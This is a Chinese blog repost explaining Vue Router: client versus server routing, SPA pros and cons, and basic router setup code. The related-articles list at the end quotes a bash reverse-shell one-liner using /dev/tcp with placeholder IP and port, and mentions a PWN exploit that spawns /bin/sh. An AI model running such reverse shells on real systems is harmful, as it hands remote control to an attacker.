详细介绍:Vue Router路由

news/2025/10/19 20:45:35/文章来源:https://www.cnblogs.com/wzzkaifa/p/19151395

目录

1 路由

1.1 服务端路由

1.2 客户端路由

1.2.1 单页面应用(SPA)

1.2.2 多页面应用

1.2.3 客户端路由

2 Vue Router优缺点

3 Vue Router使用

3.1 创建项目选择Vue Router

3.2 router/index.js

3.2.1 结构介绍

3.2.2 使用方式


1 路由

        路由是网络层概念,表示路由器从一个接口接收的数据包通过目的地址从另一个接口转发出去的过程。

        而Vue中的路由是指URL和处理程序的映射关系,即Vue根据URL找了处理程序/组件的过程就是Vue中的路由。

1.1 服务端路由

        发生在Web服务器端,当用户请求URL后,后端接口接收到请求后根据URL匹配对应的处理接口并返回HTML页面代码给客户端,即路由由服务器进行,并返回客户端HTML页面。

1.2 客户端路由

1.2.1 单页面应用(SPA)

        只有一个主页面,点击链接时不创建新标签页,而是刷新主页面的部分组件。这种操作通常发生在后台管理系统,有多个组件,点击菜单栏,局部刷新页面,而无需加载整个页面,也无需打开新的标签页。

1.2.2 多页面应用

        每次点击链接,打开并跳转一个新标签,浏览器加载一个新页面并加载页面的应用,这就是多页面应用。

1.2.3 客户端路由

        客户端路由通常在单页面应用(SPA)中,当用户通过客户端访问不同的路径时,路由的映射函数会利用诸如History API事件这样的浏览器API来管理应用当前应该渲染的视图。这种方式的优点在于,它可以在不重新加载整个页面的情况下,根据用户的请求动态地加载和渲染新的数据或组件,从而带来更为顺滑的用户体验。

        Vue Router正是Vue官方的客户端路由解决方案。

2 Vue Router优缺点

优点:

        (1)用户体验更流畅:用户无需刷新页面或打开新的标签页,就可以成功动态渲染页面的内容,大大减少了等待页面加载的时间。

        (2)更好的交互性和响应性:前端可以精细化控制页面变化,实现更丰富的交互效果和更快速的响应。

        (3)更好的前后端分离:后端无需再返回HTML页面的内容,返回页面由前端来做,前端实现路由关系映射,从而可以单独开发、测试和部署前端。后端使用RESTful技术实现服务间调用,也可以单独开发、测试和部署后端。提高程序开发效率和可维护性。

缺点:

        (1)初次加载时间长:SPA初次加载需要较多的JavaScript和CSS资源,因此加载时间较长,可能为用户带来不好的体验。

        (2)SEO挑战:搜索引擎的爬虫可能无法对JavaScript动态生成的内容进行解析,因此会导致SPA在搜索引擎的排序处于较后的位置。通过服务器端渲染(SSR)或预渲染等技术可以部分解决这个问题。

3 Vue Router使用

3.1 创建项目选择Vue Router

        也可以先创建项目,再通过如下命令安装,不过这种方式就需要手动添加router文件夹和路由相关代码:

npm i vue-router -S

3.2 router/index.js

3.2.1 结构介绍

        可以发现,创建的代码自带router/index.js、views/HomeView.vue和AboutView.vue文件:

        Home页对应:

        About页对应:

        这都是通过点击页面的Home或About切换的,页面并没有全部刷新,也没有打开新的标签,仅改变了局部视图和URL。

3.2.2 使用方式

(1)在main.js中注册路由插件

import './assets/main.css'
import { createApp } from 'vue'
import App from './App.vue'
import router from './router'
const app = createApp(App)
app.use(router)
app.mount('#app')

(2)创建组件(.vue)

        About组件(About页面):


        Home组件(Home页面),TheWelcome组件是创建示例项目自带的:

<script setup>
import TheWelcome from '../components/TheWelcome.vue'
</script>

(3)App.vue根组件引入子组件

<script setup>
import { RouterLink, RouterView } from 'vue-router'
import HelloWorld from './components/HelloWorld.vue'
</script>

        RouterView和RouterLink组件是Vue Router插件的组件,因此可以直接使用:

RouterLink:生成可点击的链接,to属性就是链接的跳转地址(目标地址),点击该链接URL就会跳转到对应地址。

RouterView:占位组件,所在的位置可以根据路由状态动态的匹配需要渲染组件,比如如果此时URL变为/about,此时占位组件的位置就会被渲染为About页面的组件。即无论用户导航到哪里,该组件都会被渲染为与路由对应的组件。

(4)创建路由实例(router/index.js)

import { createRouter, createWebHistory } from 'vue-router'
import HomeView from '../views/HomeView.vue'
const router = createRouter({history: createWebHistory(import.meta.env.BASE_URL),routes: [{path: '/',name: 'home',component: HomeView,},{path: '/about',name: 'about',// route level code-splitting// this generates a separate chunk (About.[hash].js) for this route// which is lazy-loaded when the route is visited.component: () => import('../views/AboutView.vue'),},],
})
export default router

        使用createRouter()函数创建路由实例,该实例具有两个属性history和routes:

  history属性:定义路由模式,createWebHistory()表示创建一个history模式的路由实例。该模式是基于HTML5的History API,允许开发者以编程方式操作浏览器的历史记录(路由信息存储在浏览器的历史记录)。该模式的URL特点是不带#。

routes属性:定义路由匹配规则列表,每个路由规则对象由{path、name、component}组成,path是路由URL,name是路由名称(用于编程式导航),component是路由对应的组件。

        component在上面的代码声明了两种方式:一种是直接渲染本地组件HomeView,这种方式在页面初始化就会加载组件。另一种是通过函数动态导入渲染AboutView组件,这种方式是异步进行,在路由被访问到才会加载组件(因此提高页面初始化速度)。

        export default router会导出路由实例router,以便在其它地方使用。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/940603.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AVR 单片机批量编程脚本(.bat)

AVR 单片机批量编程脚本(.bat)非常好 👍,你贴的这段脚本是一个典型的 AVR 单片机批量编程脚本(.bat), 用于通过 STK500 / AVRISP mkII 给 ATmega48 微控制器 烧录固件 🧠 一、脚本功能概述 这是一份 Windows…

PWN手的成长之路-20-cgpwn2

file,checksec:main 函数:hello 函数:name 中可以保存字符串,因此我们在 name 中输入 /bin/sh,那么我们就可以利用变量 name 的内存地址,得到 system(/bin/sh),从而得到shell。 pwn 函数(存在system):溢出大…

C++ofstream写文件bug

今天学了一下C++的ofstream写文件,代码肯定没问题,环境是win10虚拟机,软件是vs2019ofstream ofs; ofs.open("test.txt", ios::out);ofs << "姓名:张三" << endl; ofs << &q…

软工问题总结10.19

构造顺序、代码块、构造函数和声明是构造函数优先级最高,声明和代码块随着前面,谁知后面最后是谁的值静态方法里,能点出来的实例成员,必须是“别人送给它”的对象引用。100 在 -128~127 范围内,被 Integer 内部“…

tryhackme-预安全-网络基础知识-OSI模型-06

tryhackme-Pre Security-Pre Security-Network Fundamentals-OSI Model 房间地址:https://tryhackme.com/room/osimodelzi 这是网络安全入门的基础模块的计算机科学基础知识:OSI Model(OSI 模型),序号 01 表示第一…

Debian13中使用Virtual-box安装Window10虚拟机并设置USB直通

Debian13中使用Virtual-box安装Window10虚拟机并设置USB直通 背景介绍因为我长期使用LMDE6/7的发行版作为主体办公操作系统,但是软件、硬件调试研发领域很多软件例如UltraISO、NTlite、DiskInfo、BoardVierer、桌面远…

2024长城杯决赛-溯源取证1

依旧是流量分析题目 题目描述 您的同事李白在运维一台部署了移动应用服务端的linux服务器时发现了异常,好像被黑客攻击了。小李通过简单分析,发现可能是由于公司的移动应用和其服务端程序都存在安全问题导致的。小李…

[Agent] ACE(Agentic Context Engineering)和Dynamic Cheatsheet学习笔记

[Agent] ACE(Agentic Context Engineering)和Dynamic Cheatsheet学习笔记 目录[Agent] ACE(Agentic Context Engineering)和Dynamic Cheatsheet学习笔记0x00 概述0x01 ACE1.1 背景1.2 思路1.3 工作流程0x02 Dynami…

2025年9月模拟赛整合

2025CSP-S模拟赛46、2025CSP-S模拟赛45、2025CSP-S模拟赛512025年9月模拟赛整合 2025CSP-S模拟赛46T1 T2 T3 T490 WA 24 WA 20 TLE 40 RE总分:174;排名:16/25。 T1 数组开小了,签到题。T2 应当是 28 分,最后的代码…

AI元人文构想研究:理论溯源、跨学科审视与技术路径探析

AI元人文构想研究:理论溯源、跨学科审视与技术路径探析 摘要 人工智能技术的快速发展对传统伦理框架提出了严峻挑战。本文系统评述了学者岐金兰提出的"AI元人文"构想,探讨其作为人工智能伦理新范式的理论基…

NPM(更新中)

numpy,pandas,matplotlibnumpytips:核心特性多维性:支持0维,1维,2维及更高维数组arr = np.array(5) # 创建0维数组 arr = np.array([1,2,3]) # 创建1维数组 arr = np.array([[1,2,3],[4,5,6]]) # 创建2维数组 arr.n…

使用DAO模式改造学生信息管理系统

学生信息管理系统 DAO 模式改造:多存储模式实现与切换 原有学生信息管理系统仅用 List 存储数据,程序关闭后数据丢失。本文通过 DAO 模式改造,新增文本文件、Excel 两种持久化存储方式,实现主程序一键切换存储模式…

Windows 10 合并扩展磁盘分区

1、进入计算机管理界面如上图所示,右击“此电脑”,点击“管理”,即可进入计算机管理界面。 2、删除被合并的卷如上图所示,在“磁盘管理”界面中,右击要被合并的磁盘分区,然后点击“删除卷”。注意:删除卷会导致…

NOAI官方学术支持

NOAI官方学术支持 https://ioaic.org.cn/To main contentNOAIIOAIABOUT US 国际人工智能奥林匹克中国区学术活动National Olympiad inArtificial Intelligence (NOAI)60+国家和地区加入全球科学类奥林匹克学术活动之一…

第1章 人工智能项目概述

第1章 人工智能项目概述第1章 人工智能项目概述 本章简介 在人工智能的浪潮中,准确理解人工智能项目的独特本质,是成功实施与管理的基石。本章旨在超越空洞的学术讨论,为项目经理提供一个坚实的认知框架。我们将首先…

底噪测试 labview能测试吗

底噪测试 labview能测试吗非常好,这个问题问得非常关键——你说的:底噪测试 LabVIEW 能不能测试?✅ 答案是:可以,而且非常常用! LabVIEW 完全可以用来做底噪(系统噪声)测试,只要你有合适的 DAQ 硬件 + NI-DAQ…

Linux反弹shell解析

Linux反弹shell解析 #从头的原理解析一下常用的bash反弹shell bash -i &> /dev/tcp/ip/端口 0>&1 bash -c bash -i &> /dev/tcp/ip/端口 0>&11. 先明确:什么是 “Shell”? Shell 是 “多…

2025-10-18 MX-S 模拟赛 赛后总结【MX】

T2 实在吃不下去了,打一半跑去吃隔壁 TB 了。T1 研讨室购物 题意 给长为 \(n\) 的正整数序列 \(a\) 和正整数 \(m\)。你可以构造一个长为 \(n\) 的非负整数序列 \(b\),满足 \(\sum b=m\),最小化 \(\sum_{i=1}^{n} \…

零基础Linux快速上手03

零基础Linux快速上手03好的,各位同学,欢迎来到《零基础Linux快速上手》第三章节! 在前两章中,我们已经掌握了Linux的基础操作和核心工具。现在,我们要向"系统管理员"的方向迈进。本章将学习如何安装和管…

clickhouse搭建单机版和集群版本

本次部署版本是25.7.8.71,github下载地址https://github.com/ClickHouse/ClickHouse/releases 一、单机版 采用tgz方式部署cd /opt/clickhouse1、下载clickhouse-common-static包,然后解压运行脚本wget https://gith…